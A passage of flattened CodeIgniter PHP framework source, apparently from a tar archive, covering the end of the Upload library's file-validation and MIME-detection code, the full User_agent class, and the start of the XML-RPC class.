let's have it! $this->file_ext = $this->get_extension($this->_file_name_override); } if ( ! $this->is_allowed_filetype(TRUE)) { $this->set_error('upload_invalid_filetype', 'debug'); return FALSE; } } // Convert the file size to kilobytes if ($this->file_size > 0) { $this->file_size = round($this->file_size/1024, 2); } // Is the file size within the allowed maximum? if ( ! $this->is_allowed_filesize()) { $this->set_error('upload_invalid_filesize', 'info'); return FALSE; } // Are the image dimensions within the allowed size? // Note: This can fail if the server has an open_basedir restriction. if ( ! $this->is_allowed_dimensions()) { $this->set_error('upload_invalid_dimensions', 'info'); return FALSE; } // Sanitize the file name for security $this->file_name = $this->_CI->security->sanitize_filename($this->file_name); // Truncate the file name if it's too long if ($this->max_filename > 0) { $this->file_name = $this->limit_filename_length($this->file_name, $this->max_filename); } // Remove white spaces in the name if ($this->remove_spaces === TRUE) { $this->file_name = preg_replace('/\s+/', '_', $this->file_name); } if ($this->file_ext_tolower && ($ext_length = strlen($this->file_ext))) { // file_ext was previously lower-cased by a get_extension() call $this->file_name = substr($this->file_name, 0, -$ext_length).$this->file_ext; } /* * Validate the file name * This function appends an number onto the end of * the file if one with the same name already exists. * If it returns false there was a problem. */ $this->orig_name = $this->file_name; if (FALSE === ($this->file_name = $this->set_filename($this->upload_path, $this->file_name))) { return FALSE; } /* * Run the file through the XSS hacking filter * This helps prevent malicious code from being * embedded within a file. Scripts can easily * be disguised as images or other file types. */ if ($this->xss_clean && $this->do_xss_clean() === FALSE) { $this->set_error('upload_unable_to_write_file', 'error'); return FALSE; } /* * Move the file to the final destination * To deal with different server configurations * we'll attempt to use copy() first. If that fails * we'll use move_uploaded_file(). One of the two should * reliably work in most environments */ if ( ! @copy($this->file_temp, $this->upload_path.$this->file_name)) { if ( ! @move_uploaded_file($this->file_temp, $this->upload_path.$this->file_name)) { $this->set_error('upload_destination_error', 'error'); return FALSE; } } /* * Set the finalized image dimensions * This sets the image width/height (assuming the * file was an image). We use this information * in the "data" function. */ $this->set_image_properties($this->upload_path.$this->file_name); return TRUE; } // -------------------------------------------------------------------- /** * Finalized Data Array * * Returns an associative array containing all of the information * related to the upload, allowing the developer easy access in one array. * * @param string $index * @return mixed */ public function data($index = NULL) { $data = array( 'file_name' => $this->file_name, 'file_type' => $this->file_type, 'file_path' => $this->upload_path, 'full_path' => $this->upload_path.$this->file_name, 'raw_name' => substr($this->file_name, 0, -strlen($this->file_ext)), 'orig_name' => $this->orig_name, 'client_name' => $this->client_name, 'file_ext' => $this->file_ext, 'file_size' => $this->file_size, 'is_image' => $this->is_image(), 'image_width' => $this->image_width, 'image_height' => $this->image_height, 'image_type' => $this->image_type, 'image_size_str' => $this->image_size_str, ); if ( ! empty($index)) { return isset($data[$index]) ? $data[$index] : NULL; } return $data; } // -------------------------------------------------------------------- /** * Set Upload Path * * @param string $path * @return CI_Upload */ public function set_upload_path($path) { // Make sure it has a trailing slash $this->upload_path = rtrim($path, '/').'/'; return $this; } // -------------------------------------------------------------------- /** * Set the file name * * This function takes a filename/path as input and looks for the * existence of a file with the same name. If found, it will append a * number to the end of the filename to avoid overwriting a pre-existing file. * * @param string $path * @param string $filename * @return string */ public function set_filename($path, $filename) { if ($this->encrypt_name === TRUE) { $filename = md5(uniqid(mt_rand())).$this->file_ext; } if ($this->overwrite === TRUE OR ! file_exists($path.$filename)) { return $filename; } $filename = str_replace($this->file_ext, '', $filename); $new_filename = ''; for ($i = 1; $i < $this->max_filename_increment; $i++) { if ( ! file_exists($path.$filename.$i.$this->file_ext)) { $new_filename = $filename.$i.$this->file_ext; break; } } if ($new_filename === '') { $this->set_error('upload_bad_filename', 'debug'); return FALSE; } else { return $new_filename; } } // -------------------------------------------------------------------- /** * Set Maximum File Size * * @param int $n * @return CI_Upload */ public function set_max_filesize($n) { $this->max_size = ($n < 0) ? 0 : (int) $n; return $this; } // -------------------------------------------------------------------- /** * Set Maximum File Size * * An internal alias to set_max_filesize() to help with configuration * as initialize() will look for a set_<property_name>() method ... * * @param int $n * @return CI_Upload */ protected function set_max_size($n) { return $this->set_max_filesize($n); } // -------------------------------------------------------------------- /** * Set Maximum File Name Length * * @param int $n * @return CI_Upload */ public function set_max_filename($n) { $this->max_filename = ($n < 0) ? 0 : (int) $n; return $this; } // -------------------------------------------------------------------- /** * Set Maximum Image Width * * @param int $n * @return CI_Upload */ public function set_max_width($n) { $this->max_width = ($n < 0) ? 0 : (int) $n; return $this; } // -------------------------------------------------------------------- /** * Set Maximum Image Height * * @param int $n * @return CI_Upload */ public function set_max_height($n) { $this->max_height = ($n < 0) ? 0 : (int) $n; return $this; } // -------------------------------------------------------------------- /** * Set minimum image width * * @param int $n * @return CI_Upload */ public function set_min_width($n) { $this->min_width = ($n < 0) ? 0 : (int) $n; return $this; } // -------------------------------------------------------------------- /** * Set minimum image height * * @param int $n * @return CI_Upload */ public function set_min_height($n) { $this->min_height = ($n < 0) ? 0 : (int) $n; return $this; } // -------------------------------------------------------------------- /** * Set Allowed File Types * * @param mixed $types * @return CI_Upload */ public function set_allowed_types($types) { $this->allowed_types = (is_array($types) OR $types === '*') ? $types : explode('|', $types); return $this; } // -------------------------------------------------------------------- /** * Set Image Properties * * Uses GD to determine the width/height/type of image * * @param string $path * @return CI_Upload */ public function set_image_properties($path = '') { if ($this->is_image() && function_exists('getimagesize')) { if (FALSE !== ($D = @getimagesize($path))) { $types = array(1 => 'gif', 2 => 'jpeg', 3 => 'png'); $this->image_width = $D[0]; $this->image_height = $D[1]; $this->image_type = isset($types[$D[2]]) ? $types[$D[2]] : 'unknown'; $this->image_size_str = $D[3]; // string containing height and width } } return $this; } // -------------------------------------------------------------------- /** * Set XSS Clean * * Enables the XSS flag so that the file that was uploaded * will be run through the XSS filter. * * @param bool $flag * @return CI_Upload */ public function set_xss_clean($flag = FALSE) { $this->xss_clean = ($flag === TRUE); return $this; } // -------------------------------------------------------------------- /** * Validate the image * * @return bool */ public function is_image() { // IE will sometimes return odd mime-types during upload, so here we just standardize all // jpegs or pngs to the same file type. $png_mimes = array('image/x-png'); $jpeg_mimes = array('image/jpg', 'image/jpe', 'image/jpeg', 'image/pjpeg'); if (in_array($this->file_type, $png_mimes)) { $this->file_type = 'image/png'; } elseif (in_array($this->file_type, $jpeg_mimes)) { $this->file_type = 'image/jpeg'; } $img_mimes = array('image/gif', 'image/jpeg', 'image/png'); return in_array($this->file_type, $img_mimes, TRUE); } // -------------------------------------------------------------------- /** * Verify that the filetype is allowed * * @param bool $ignore_mime * @return bool */ public function is_allowed_filetype($ignore_mime = FALSE) { if ($this->allowed_types === '*') { return TRUE; } if (empty($this->allowed_types) OR ! is_array($this->allowed_types)) { $this->set_error('upload_no_file_types', 'debug'); return FALSE; } $ext = strtolower(ltrim($this->file_ext, '.')); if ( ! in_array($ext, $this->allowed_types, TRUE)) { return FALSE; } // Images get some additional checks if (in_array($ext, array('gif', 'jpg', 'jpeg', 'jpe', 'png'), TRUE) && @getimagesize($this->file_temp) === FALSE) { return FALSE; } if ($ignore_mime === TRUE) { return TRUE; } if (isset($this->_mimes[$ext])) { return is_array($this->_mimes[$ext]) ? in_array($this->file_type, $this->_mimes[$ext], TRUE) : ($this->_mimes[$ext] === $this->file_type); } return FALSE; } // -------------------------------------------------------------------- /** * Verify that the file is within the allowed size * * @return bool */ public function is_allowed_filesize() { return ($this->max_size === 0 OR $this->max_size > $this->file_size); } // -------------------------------------------------------------------- /** * Verify that the image is within the allowed width/height * * @return bool */ public function is_allowed_dimensions() { if ( ! $this->is_image()) { return TRUE; } if (function_exists('getimagesize')) { $D = @getimagesize($this->file_temp); if ($this->max_width > 0 && $D[0] > $this->max_width) { return FALSE; } if ($this->max_height > 0 && $D[1] > $this->max_height) { return FALSE; } if ($this->min_width > 0 && $D[0] < $this->min_width) { return FALSE; } if ($this->min_height > 0 && $D[1] < $this->min_height) { return FALSE; } } return TRUE; } // -------------------------------------------------------------------- /** * Validate Upload Path * * Verifies that it is a valid upload path with proper permissions. * * @return bool */ public function validate_upload_path() { if ($this->upload_path === '') { $this->set_error('upload_no_filepath', 'error'); return FALSE; } if (realpath($this->upload_path) !== FALSE) { $this->upload_path = str_replace('\\', '/', realpath($this->upload_path)); } if ( ! is_dir($this->upload_path)) { $this->set_error('upload_no_filepath', 'error'); return FALSE; } if ( ! is_really_writable($this->upload_path)) { $this->set_error('upload_not_writable', 'error'); return FALSE; } $this->upload_path = preg_replace('/(.+?)\/*$/', '\\1/', $this->upload_path); return TRUE; } // -------------------------------------------------------------------- /** * Extract the file extension * * @param string $filename * @return string */ public function get_extension($filename) { $x = explode('.', $filename); if (count($x) === 1) { return ''; } $ext = ($this->file_ext_tolower) ? strtolower(end($x)) : end($x); return '.'.$ext; } // -------------------------------------------------------------------- /** * Limit the File Name Length * * @param string $filename * @param int $length * @return string */ public function limit_filename_length($filename, $length) { if (strlen($filename) < $length) { return $filename; } $ext = ''; if (strpos($filename, '.') !== FALSE) { $parts = explode('.', $filename); $ext = '.'.array_pop($parts); $filename = implode('.', $parts); } return substr($filename, 0, ($length - strlen($ext))).$ext; } // -------------------------------------------------------------------- /** * Runs the file through the XSS clean function * * This prevents people from embedding malicious code in their files. * I'm not sure that it won't negatively affect certain files in unexpected ways, * but so far I haven't found that it causes trouble. * * @return string */ public function do_xss_clean() { $file = $this->file_temp; if (filesize($file) == 0) { return FALSE; } if (memory_get_usage() && ($memory_limit = ini_get('memory_limit')) > 0) { $memory_limit = str_split($memory_limit, strspn($memory_limit, '1234567890')); if ( ! empty($memory_limit[1])) { switch ($memory_limit[1][0]) { case 'g': case 'G': $memory_limit[0] *= 1024 * 1024 * 1024; break; case 'm': case 'M': $memory_limit[0] *= 1024 * 1024; break; default: break; } } $memory_limit = (int) ceil(filesize($file) + $memory_limit[0]); ini_set('memory_limit', $memory_limit); // When an integer is used, the value is measured in bytes. - PHP.net } // If the file being uploaded is an image, then we should have no problem with XSS attacks (in theory), but // IE can be fooled into mime-type detecting a malformed image as an html file, thus executing an XSS attack on anyone // using IE who looks at the image. It does this by inspecting the first 255 bytes of an image. To get around this // CI will itself look at the first 255 bytes of an image to determine its relative safety. This can save a lot of // processor power and time if it is actually a clean image, as it will be in nearly all instances _except_ an // attempted XSS attack. if (function_exists('getimagesize') && @getimagesize($file) !== FALSE) { if (($file = @fopen($file, 'rb')) === FALSE) // "b" to force binary { return FALSE; // Couldn't open the file, return FALSE } $opening_bytes = fread($file, 256); fclose($file); // These are known to throw IE into mime-type detection chaos // <a, <body, <head, <html, <img, <plaintext, <pre, <script, <table, <title // title is basically just in SVG, but we filter it anyhow // if it's an image or no "triggers" detected in the first 256 bytes - we're good return ! preg_match('/<(a|body|head|html|img|plaintext|pre|script|table|title)[\s>]/i', $opening_bytes); } if (($data = @file_get_contents($file)) === FALSE) { return FALSE; } return $this->_CI->security->xss_clean($data, TRUE); } // -------------------------------------------------------------------- /** * Set an error message * * @param string $msg * @return CI_Upload */ public function set_error($msg, $log_level = 'error') { $this->_CI->lang->load('upload'); is_array($msg) OR $msg = array($msg); foreach ($msg as $val) { $msg = ($this->_CI->lang->line($val) === FALSE) ? $val : $this->_CI->lang->line($val); $this->error_msg[] = $msg; log_message($log_level, $msg); } return $this; } // -------------------------------------------------------------------- /** * Display the error message * * @param string $open * @param string $close * @return string */ public function display_errors($open = '<p>', $close = '</p>') { return (count($this->error_msg) > 0) ? $open.implode($close.$open, $this->error_msg).$close : ''; } // -------------------------------------------------------------------- /** * Prep Filename * * Prevents possible script execution from Apache's handling * of files' multiple extensions. * * @link http://httpd.apache.org/docs/1.3/mod/mod_mime.html#multipleext * * @param string $filename * @return string */ protected function _prep_filename($filename) { if ($this->mod_mime_fix === FALSE OR $this->allowed_types === '*' OR ($ext_pos = strrpos($filename, '.')) === FALSE) { return $filename; } $ext = substr($filename, $ext_pos); $filename = substr($filename, 0, $ext_pos); return str_replace('.', '_', $filename).$ext; } // -------------------------------------------------------------------- /** * File MIME type * * Detects the (actual) MIME type of the uploaded file, if possible. * The input array is expected to be $_FILES[$field] * * @param array $file * @return void */ protected function _file_mime_type($file) { // We'll need this to validate the MIME info string (e.g. text/plain; charset=us-ascii) $regexp = '/^([a-z\-]+\/[a-z0-9\-\.\+]+)(;\s.+)?$/'; // Fileinfo extension - most reliable method $finfo = @finfo_open(FILEINFO_MIME); if (is_resource($finfo)) // It is possible that a FALSE value is returned, if there is no magic MIME database file found on the system { $mime = @finfo_file($finfo, $file['tmp_name']); finfo_close($finfo); /* According to the comments section of the PHP manual page, * it is possible that this function returns an empty string * for some files (e.g. if they don't exist in the magic MIME database) */ if (is_string($mime) && preg_match($regexp, $mime, $matches)) { $this->file_type = $matches[1]; return; } } /* This is an ugly hack, but UNIX-type systems provide a "native" way to detect the file type, * which is still more secure than depending on the value of $_FILES[$field]['type'], and as it * was reported in issue #750 (https://github.com/EllisLab/CodeIgniter/issues/750) - it's better * than mime_content_type() as well, hence the attempts to try calling the command line with * three different functions. * * Notes: * - the DIRECTORY_SEPARATOR comparison ensures that we're not on a Windows system * - many system admins would disable the exec(), shell_exec(), popen() and similar functions * due to security concerns, hence the function_usable() checks */ if (DIRECTORY_SEPARATOR !== '\\') { $cmd = function_exists('escapeshellarg') ? 'file --brief --mime '.escapeshellarg($file['tmp_name']).' 2>&1' : 'file --brief --mime '.$file['tmp_name'].' 2>&1'; if (function_usable('exec')) { /* This might look confusing, as $mime is being populated with all of the output when set in the second parameter. * However, we only need the last line, which is the actual return value of exec(), and as such - it overwrites * anything that could already be set for $mime previously. This effectively makes the second parameter a dummy * value, which is only put to allow us to get the return status code. */ $mime = @exec($cmd, $mime, $return_status); if ($return_status === 0 && is_string($mime) && preg_match($regexp, $mime, $matches)) { $this->file_type = $matches[1]; return; } } if ( ! ini_get('safe_mode') && function_usable('shell_exec')) { $mime = @shell_exec($cmd); if (strlen($mime) > 0) { $mime = explode("\n", trim($mime)); if (preg_match($regexp, $mime[(count($mime) - 1)], $matches)) { $this->file_type = $matches[1]; return; } } } if (function_usable('popen')) { $proc = @popen($cmd, 'r'); if (is_resource($proc)) { $mime = @fread($proc, 512); @pclose($proc); if ($mime !== FALSE) { $mime = explode("\n", trim($mime)); if (preg_match($regexp, $mime[(count($mime) - 1)], $matches)) { $this->file_type = $matches[1]; return; } } } } } // Fall back to the deprecated mime_content_type(), if available (still better than $_FILES[$field]['type']) if (function_exists('mime_content_type')) { $this->file_type = @mime_content_type($file['tmp_name']); if (strlen($this->file_type) > 0) // It's possible that mime_content_type() returns FALSE or an empty string { return; } } $this->file_type = $file['type']; } } User_agent.php 0000775 00000031633 15060054572 0007370 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2016, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2016, British Columbia Institute of Technology (http://bcit.ca/) * @license http://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 1.0.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * User Agent Class * * Identifies the platform, browser, robot, or mobile device of the browsing agent * * @package CodeIgniter * @subpackage Libraries * @category User Agent * @author EllisLab Dev Team * @link https://codeigniter.com/user_guide/libraries/user_agent.html */ class CI_User_agent { /** * Current user-agent * * @var string */ public $agent = NULL; /** * Flag for if the user-agent belongs to a browser * * @var bool */ public $is_browser = FALSE; /** * Flag for if the user-agent is a robot * * @var bool */ public $is_robot = FALSE; /** * Flag for if the user-agent is a mobile browser * * @var bool */ public $is_mobile = FALSE; /** * Languages accepted by the current user agent * * @var array */ public $languages = array(); /** * Character sets accepted by the current user agent * * @var array */ public $charsets = array(); /** * List of platforms to compare against current user agent * * @var array */ public $platforms = array(); /** * List of browsers to compare against current user agent * * @var array */ public $browsers = array(); /** * List of mobile browsers to compare against current user agent * * @var array */ public $mobiles = array(); /** * List of robots to compare against current user agent * * @var array */ public $robots = array(); /** * Current user-agent platform * * @var string */ public $platform = ''; /** * Current user-agent browser * * @var string */ public $browser = ''; /** * Current user-agent version * * @var string */ public $version = ''; /** * Current user-agent mobile name * * @var string */ public $mobile = ''; /** * Current user-agent robot name * * @var string */ public $robot = ''; /** * HTTP Referer * * @var mixed */ public $referer; // -------------------------------------------------------------------- /** * Constructor * * Sets the User Agent and runs the compilation routine * * @return void */ public function __construct() { $this->_load_agent_file(); if (isset($_SERVER['HTTP_USER_AGENT'])) { $this->agent = trim($_SERVER['HTTP_USER_AGENT']); $this->_compile_data(); } log_message('info', 'User Agent Class Initialized'); } // -------------------------------------------------------------------- /** * Compile the User Agent Data * * @return bool */ protected function _load_agent_file() { if (($found = file_exists(APPPATH.'config/user_agents.php'))) { include(APPPATH.'config/user_agents.php'); } if (file_exists(APPPATH.'config/'.ENVIRONMENT.'/user_agents.php')) { include(APPPATH.'config/'.ENVIRONMENT.'/user_agents.php'); $found = TRUE; } if ($found !== TRUE) { return FALSE; } $return = FALSE; if (isset($platforms)) { $this->platforms = $platforms; unset($platforms); $return = TRUE; } if (isset($browsers)) { $this->browsers = $browsers; unset($browsers); $return = TRUE; } if (isset($mobiles)) { $this->mobiles = $mobiles; unset($mobiles); $return = TRUE; } if (isset($robots)) { $this->robots = $robots; unset($robots); $return = TRUE; } return $return; } // -------------------------------------------------------------------- /** * Compile the User Agent Data * * @return bool */ protected function _compile_data() { $this->_set_platform(); foreach (array('_set_robot', '_set_browser', '_set_mobile') as $function) { if ($this->$function() === TRUE) { break; } } } // -------------------------------------------------------------------- /** * Set the Platform * * @return bool */ protected function _set_platform() { if (is_array($this->platforms) && count($this->platforms) > 0) { foreach ($this->platforms as $key => $val) { if (preg_match('|'.preg_quote($key).'|i', $this->agent)) { $this->platform = $val; return TRUE; } } } $this->platform = 'Unknown Platform'; return FALSE; } // -------------------------------------------------------------------- /** * Set the Browser * * @return bool */ protected function _set_browser() { if (is_array($this->browsers) && count($this->browsers) > 0) { foreach ($this->browsers as $key => $val) { if (preg_match('|'.$key.'.*?([0-9\.]+)|i', $this->agent, $match)) { $this->is_browser = TRUE; $this->version = $match[1]; $this->browser = $val; $this->_set_mobile(); return TRUE; } } } return FALSE; } // -------------------------------------------------------------------- /** * Set the Robot * * @return bool */ protected function _set_robot() { if (is_array($this->robots) && count($this->robots) > 0) { foreach ($this->robots as $key => $val) { if (preg_match('|'.preg_quote($key).'|i', $this->agent)) { $this->is_robot = TRUE; $this->robot = $val; $this->_set_mobile(); return TRUE; } } } return FALSE; } // -------------------------------------------------------------------- /** * Set the Mobile Device * * @return bool */ protected function _set_mobile() { if (is_array($this->mobiles) && count($this->mobiles) > 0) { foreach ($this->mobiles as $key => $val) { if (FALSE !== (stripos($this->agent, $key))) { $this->is_mobile = TRUE; $this->mobile = $val; return TRUE; } } } return FALSE; } // -------------------------------------------------------------------- /** * Set the accepted languages * * @return void */ protected function _set_languages() { if ((count($this->languages) === 0) && ! empty($_SERVER['HTTP_ACCEPT_LANGUAGE'])) { $this->languages = explode(',', preg_replace('/(;\s?q=[0-9\.]+)|\s/i', '', strtolower(trim($_SERVER['HTTP_ACCEPT_LANGUAGE'])))); } if (count($this->languages) === 0) { $this->languages = array('Undefined'); } } // -------------------------------------------------------------------- /** * Set the accepted character sets * * @return void */ protected function _set_charsets() { if ((count($this->charsets) === 0) && ! empty($_SERVER['HTTP_ACCEPT_CHARSET'])) { $this->charsets = explode(',', preg_replace('/(;\s?q=.+)|\s/i', '', strtolower(trim($_SERVER['HTTP_ACCEPT_CHARSET'])))); } if (count($this->charsets) === 0) { $this->charsets = array('Undefined'); } } // -------------------------------------------------------------------- /** * Is Browser * * @param string $key * @return bool */ public function is_browser($key = NULL) { if ( ! $this->is_browser) { return FALSE; } // No need to be specific, it's a browser if ($key === NULL) { return TRUE; } // Check for a specific browser return (isset($this->browsers[$key]) && $this->browser === $this->browsers[$key]); } // -------------------------------------------------------------------- /** * Is Robot * * @param string $key * @return bool */ public function is_robot($key = NULL) { if ( ! $this->is_robot) { return FALSE; } // No need to be specific, it's a robot if ($key === NULL) { return TRUE; } // Check for a specific robot return (isset($this->robots[$key]) && $this->robot === $this->robots[$key]); } // -------------------------------------------------------------------- /** * Is Mobile * * @param string $key * @return bool */ public function is_mobile($key = NULL) { if ( ! $this->is_mobile) { return FALSE; } // No need to be specific, it's a mobile if ($key === NULL) { return TRUE; } // Check for a specific robot return (isset($this->mobiles[$key]) && $this->mobile === $this->mobiles[$key]); } // -------------------------------------------------------------------- /** * Is this a referral from another site? * * @return bool */ public function is_referral() { if ( ! isset($this->referer)) { if (empty($_SERVER['HTTP_REFERER'])) { $this->referer = FALSE; } else { $referer_host = @parse_url($_SERVER['HTTP_REFERER'], PHP_URL_HOST); $own_host = parse_url(config_item('base_url'), PHP_URL_HOST); $this->referer = ($referer_host && $referer_host !== $own_host); } } return $this->referer; } // -------------------------------------------------------------------- /** * Agent String * * @return string */ public function agent_string() { return $this->agent; } // -------------------------------------------------------------------- /** * Get Platform * * @return string */ public function platform() { return $this->platform; } // -------------------------------------------------------------------- /** * Get Browser Name * * @return string */ public function browser() { return $this->browser; } // -------------------------------------------------------------------- /** * Get the Browser Version * * @return string */ public function version() { return $this->version; } // -------------------------------------------------------------------- /** * Get The Robot Name * * @return string */ public function robot() { return $this->robot; } // -------------------------------------------------------------------- /** * Get the Mobile Device * * @return string */ public function mobile() { return $this->mobile; } // -------------------------------------------------------------------- /** * Get the referrer * * @return bool */ public function referrer() { return empty($_SERVER['HTTP_REFERER']) ? '' : trim($_SERVER['HTTP_REFERER']); } // -------------------------------------------------------------------- /** * Get the accepted languages * * @return array */ public function languages() { if (count($this->languages) === 0) { $this->_set_languages(); } return $this->languages; } // -------------------------------------------------------------------- /** * Get the accepted Character Sets * * @return array */ public function charsets() { if (count($this->charsets) === 0) { $this->_set_charsets(); } return $this->charsets; } // -------------------------------------------------------------------- /** * Test for a particular language * * @param string $lang * @return bool */ public function accept_lang($lang = 'en') { return in_array(strtolower($lang), $this->languages(), TRUE); } // -------------------------------------------------------------------- /** * Test for a particular character set * * @param string $charset * @return bool */ public function accept_charset($charset = 'utf-8') { return in_array(strtolower($charset), $this->charsets(), TRUE); } // -------------------------------------------------------------------- /** * Parse a custom user-agent string * * @param string $string * @return void */ public function parse($string) { // Reset values $this->is_browser = FALSE; $this->is_robot = FALSE; $this->is_mobile = FALSE; $this->browser = ''; $this->version = ''; $this->mobile = ''; $this->robot = ''; // Set the new user-agent string and parse it, unless empty $this->agent = $string; if ( ! empty($string)) { $this->_compile_data(); } } } Xmlrpc.php 0000775 00000120407 15060054572 0006537 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2016, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2016, British Columbia Institute of Technology (http://bcit.ca/) * @license http://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 1.0.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); if ( ! function_exists('xml_parser_create')) { show_error('Your PHP installation does not support XML'); } // ------------------------------------------------------------------------ /** * XML-RPC request handler class * * @package CodeIgniter * @subpackage Libraries * @category XML-RPC * @author EllisLab Dev Team * @link https://codeigniter.com/user_guide/libraries/xmlrpc.html */ class CI_Xmlrpc { /** * Debug flag * * @var bool */ public $debug = FALSE; /** * I4 data type * * @var string */ public $xmlrpcI4 = 'i4'; /** * Integer data type * * @var string */ public $xmlrpcInt = 'int'; /** * Boolean data type * * @var string */ public $xmlrpcBoolean = 'boolean'; /** * Double data type * * @var string */ public $xmlrpcDouble = 'double'; /** * String data type * * @var string */ public $xmlrpcString = 'string'; /** * DateTime format * * @var string */ public $xmlrpcDateTime = 'dateTime.iso8601'; /** * Base64 data type * * @var string */ public $xmlrpcBase64 = 'base64'; /** * Array data type * * @var string */ public $xmlrpcArray = 'array'; /** * Struct data type * * @var string */ public $xmlrpcStruct = 'struct'; /** * Data types list * * @var array */ public $xmlrpcTypes = array(); /** * Valid parents list * * @var array */ public $valid_parents = array(); /** * Response error numbers list * * @var array */ public $xmlrpcerr = array(); /** * Response error messages list * * @var string[] */ public $xmlrpcstr = array(); /** * Encoding charset * * @var string */ public $xmlrpc_defencoding = 'UTF-8'; /** * XML-RPC client name * * @var string */ public $xmlrpcName = 'XML-RPC for CodeIgniter'; /** * XML-RPC version * * @var string */ public $xmlrpcVersion = '1.1'; /** * Start of user errors * * @var int */ public $xmlrpcerruser = 800; /** * Start of XML parse errors * * @var int */ public $xmlrpcerrxml = 100; /** * Backslash replacement value * * @var string */ public $xmlrpc_backslash = ''; /** * XML-RPC Client object * * @var object */ public $client; /** * XML-RPC Method name * * @var string */ public $method; /** * XML-RPC Data * * @var array */ public $data; /** * XML-RPC Message * * @var string */ public $message = ''; /** * Request error message * * @var string */ public $error = ''; /** * XML-RPC result object * * @var object */ public $result; /** * XML-RPC Reponse * * @var array */ public $response = array(); // Response from remote server /** * XSS Filter flag * * @var bool */ public $xss_clean = TRUE; // -------------------------------------------------------------------- /** * Constructor * * Initializes property default values * * @param array $config * @return void */ public function __construct($config = array()) { $this->xmlrpc_backslash = chr(92).chr(92); // Types for info sent back and forth $this->xmlrpcTypes = array( $this->xmlrpcI4 => '1', $this->xmlrpcInt => '1', $this->xmlrpcBoolean => '1', $this->xmlrpcString => '1', $this->xmlrpcDouble => '1', $this->xmlrpcDateTime => '1', $this->xmlrpcBase64 => '1', $this->xmlrpcArray => '2', $this->xmlrpcStruct => '3' ); // Array of Valid Parents for Various XML-RPC elements $this->valid_parents = array('BOOLEAN' => array('VALUE'), 'I4' => array('VALUE'), 'INT' => array('VALUE'), 'STRING' => array('VALUE'), 'DOUBLE' => array('VALUE'), 'DATETIME.ISO8601' => array('VALUE'), 'BASE64' => array('VALUE'), 'ARRAY' => array('VALUE'), 'STRUCT' => array('VALUE'), 'PARAM' => array('PARAMS'), 'METHODNAME' => array('METHODCALL'), 'PARAMS' => array('METHODCALL', 'METHODRESPONSE'), 'MEMBER' => array('STRUCT'), 'NAME' => array('MEMBER'), 'DATA' => array('ARRAY'), 'FAULT' => array('METHODRESPONSE'), 'VALUE' => array('MEMBER', 'DATA', 'PARAM', 'FAULT') ); // XML-RPC Responses $this->xmlrpcerr['unknown_method'] = '1'; $this->xmlrpcstr['unknown_method'] = 'This is not a known method for this XML-RPC Server'; $this->xmlrpcerr['invalid_return'] = '2'; $this->xmlrpcstr['invalid_return'] = 'The XML data received was either invalid or not in the correct form for XML-RPC. Turn on debugging to examine the XML data further.'; $this->xmlrpcerr['incorrect_params'] = '3'; $this->xmlrpcstr['incorrect_params'] = 'Incorrect parameters were passed to method'; $this->xmlrpcerr['introspect_unknown'] = '4'; $this->xmlrpcstr['introspect_unknown'] = 'Cannot inspect signature for request: method unknown'; $this->xmlrpcerr['http_error'] = '5'; $this->xmlrpcstr['http_error'] = "Did not receive a '200 OK' response from remote server."; $this->xmlrpcerr['no_data'] = '6'; $this->xmlrpcstr['no_data'] = 'No data received from server.'; $this->initialize($config); log_message('info', 'XML-RPC Class Initialized'); } // -------------------------------------------------------------------- /** * Initialize * * @param array $config * @return void */ public function initialize($config = array()) { if (count($config) > 0) { foreach ($config as $key => $val) { if (isset($this->$key)) { $this->$key = $val; } } } } // -------------------------------------------------------------------- /** * Parse server URL * * @param string $url * @param int $port * @param string $proxy * @param int $proxy_port * @return void */ public function server($url, $port = 80, $proxy = FALSE, $proxy_port = 8080) { if (stripos($url, 'http') !== 0) { $url = 'http://'.$url; } $parts = parse_url($url); if (isset($parts['user'], $parts['pass'])) { 